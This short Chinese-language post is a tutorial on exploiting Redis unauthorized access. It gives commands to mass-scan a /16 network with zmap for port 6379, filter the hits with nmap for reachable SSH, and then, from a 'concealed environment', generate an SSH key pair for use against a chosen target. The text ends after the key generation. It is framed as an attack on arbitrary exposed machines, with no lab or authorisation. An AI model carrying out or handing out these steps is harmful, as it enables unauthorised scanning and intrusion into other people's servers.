Redis 未授权访问漏洞利用

先上 zmap 这个大杀器大范围找安装 redis 服务的机器，aaa.bbb.0.0 是计划扫描的网络。

$ zmap -B 1M -p 6379 aaa.bbb.0.0/16 -o results.csv

然后根据 results.csv 的结果来逐个排查，注意要能 ssh 登录的。

$ cat results.csv | xargs nmap -p 22

最后找一个隐蔽环境，开始干活，aaa.bbb.ccc.ddd 是目标地址：

root@ab871b39330f:~# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:

The key's randomart image is:
